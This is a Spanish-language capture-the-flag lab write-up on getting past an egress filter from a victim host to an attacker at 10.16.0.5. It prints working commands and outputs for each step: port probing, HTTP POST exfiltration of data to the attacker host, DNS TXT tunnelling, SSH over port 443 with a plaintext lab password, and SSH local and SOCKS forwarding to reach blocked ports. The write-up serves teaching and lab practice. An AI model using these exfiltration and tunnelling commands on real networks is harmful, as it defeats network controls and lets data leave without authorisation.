Writeup — Egress filtrado
Todo se ejecuta desde la víctima (go16-victim), cuya salida está filtrada. El atacante es 10.16.0.5. Salidas reales.
Fase 0 — Reconocer el filtro de salida
$ nc -zv 10.16.0.5 22 # BLOQUEADO (se cuelga hasta timeout)
nc -zv 10.16.0.5 80 # open
nc -zv 10.16.0.5 443 # open
nc -zv 10.16.0.5 53 # open
22: sin respuesta (DROP)
80/443/53: openConclusión: solo salen 80, 443 y 53. El SSH directo (22) no. Todo tiene que ir por esos tres.
Reto 1 — El 80 de salida está permitido
HTTP directo★
$ curl -s http://10.16.0.5/ | grep -o 'GO{{[^}}]*}}' GO{el_80_de_salida_esta_permitido}
Flag: GO{el_80_de_salida_esta_permitido}
Reto 2 — Exfiltración sobre HTTP
HTTP POST★★
Los datos salen dentro de una petición web normal, por el 80:
$ curl -s -X POST --data 'loot=datos' http://10.16.0.5/exfil | grep -o 'GO{{[^}}]*}}' GO{exfiltracion_de_datos_sobre_http}
Flag: GO{exfiltracion_de_datos_sobre_http}
Reto 3 — Túnel DNS sobre el 53
DNS TXT★★
$ dig +short TXT flag.tunnel.lab @10.16.0.5 -p 53
"GO{tunel_dns_sobre_el_puerto_53}"Flag: GO{tunel_dns_sobre_el_puerto_53}
Aquí es una consulta TXT simple; un túnel real (dnscat2, iodine) codifica datos en los nombres y respuestas.
Reto 4 — SSH sobre 443: el canal de escape
SSH/443★★
El sshd del atacante escucha en el 443 (permitido). Un ssh -p 443 da shell pese al filtro:
$ sshpass -p leo123 ssh -p 443 leo@10.16.0.5 'cat /home/leo/flag_canal.txt' GO{ssh_sobre_443_es_el_canal_de_escape}
Flag: GO{ssh_sobre_443_es_el_canal_de_escape}
Reto 5 — Reenvío local sobre 443
SSH -L★★
Con el SSH sobre 443, un reenvío local -L alcanza un servicio del atacante en un puerto que el filtro NO permitiría directamente (8081):
$ ssh -p 443 -f -N -L 18081:127.0.0.1:8081 leo@10.16.0.5 curl -s http://127.0.0.1:18081/ | grep -o 'GO{{[^}}]*}}' GO{reenvio_local_sobre_el_canal_permitido}
Flag: GO{reenvio_local_sobre_el_canal_permitido}
Reto 6 — El panel interno por el túnel
SSH -L★★
$ ssh -p 443 -f -N -L 19090:127.0.0.1:9090 leo@10.16.0.5 curl -s http://127.0.0.1:19090/ | grep -o 'GO{{[^}}]*}}' GO{el_panel_interno_por_el_tunel}
Flag: GO{el_panel_interno_por_el_tunel}
Reto 7 — SOCKS sobre el 443
SSH -D★★★
Un SOCKS dinámico por el mismo canal 443 da acceso a cualquier host y puerto del otro lado:
$ ssh -p 443 -f -N -D 1080 leo@10.16.0.5 curl -s --socks5 127.0.0.1:1080 http://10.16.0.5:8082/ | grep -o 'GO{{[^}}]*}}' GO{socks_sobre_el_puerto_443}
Flag: GO{socks_sobre_el_puerto_443}
Reto 8 — Cualquier puerto por el túnel
SSH -D★★★
Con ese SOCKS ya montado, se alcanza también el 8083 (u otro cualquiera): el filtro de salida ha quedado neutralizado por un único canal permitido:
$ curl -s --socks5 127.0.0.1:1080 http://10.16.0.5:8083/ | grep -o 'GO{{[^}}]*}}' GO{cualquier_puerto_viaja_por_el_tunel}
Flag: GO{cualquier_puerto_viaja_por_el_tunel}
Resumen
| # | Flag | Canal |
|---|---|---|
| 1 | 80 permitido | HTTP directo |
| 2 | exfiltración | HTTP POST |
| 3 | túnel DNS | DNS TXT (53) |
| 4 | canal de escape | SSH sobre 443 |
| 5-6 | reenvío local | SSH -L sobre 443 |
| 7-8 | SOCKS | SSH -D sobre 443 |
Toda la salida pasó por 80/443/53. Ese es el objetivo: cuando el filtro solo deja tres huecos, se funnela todo por ellos.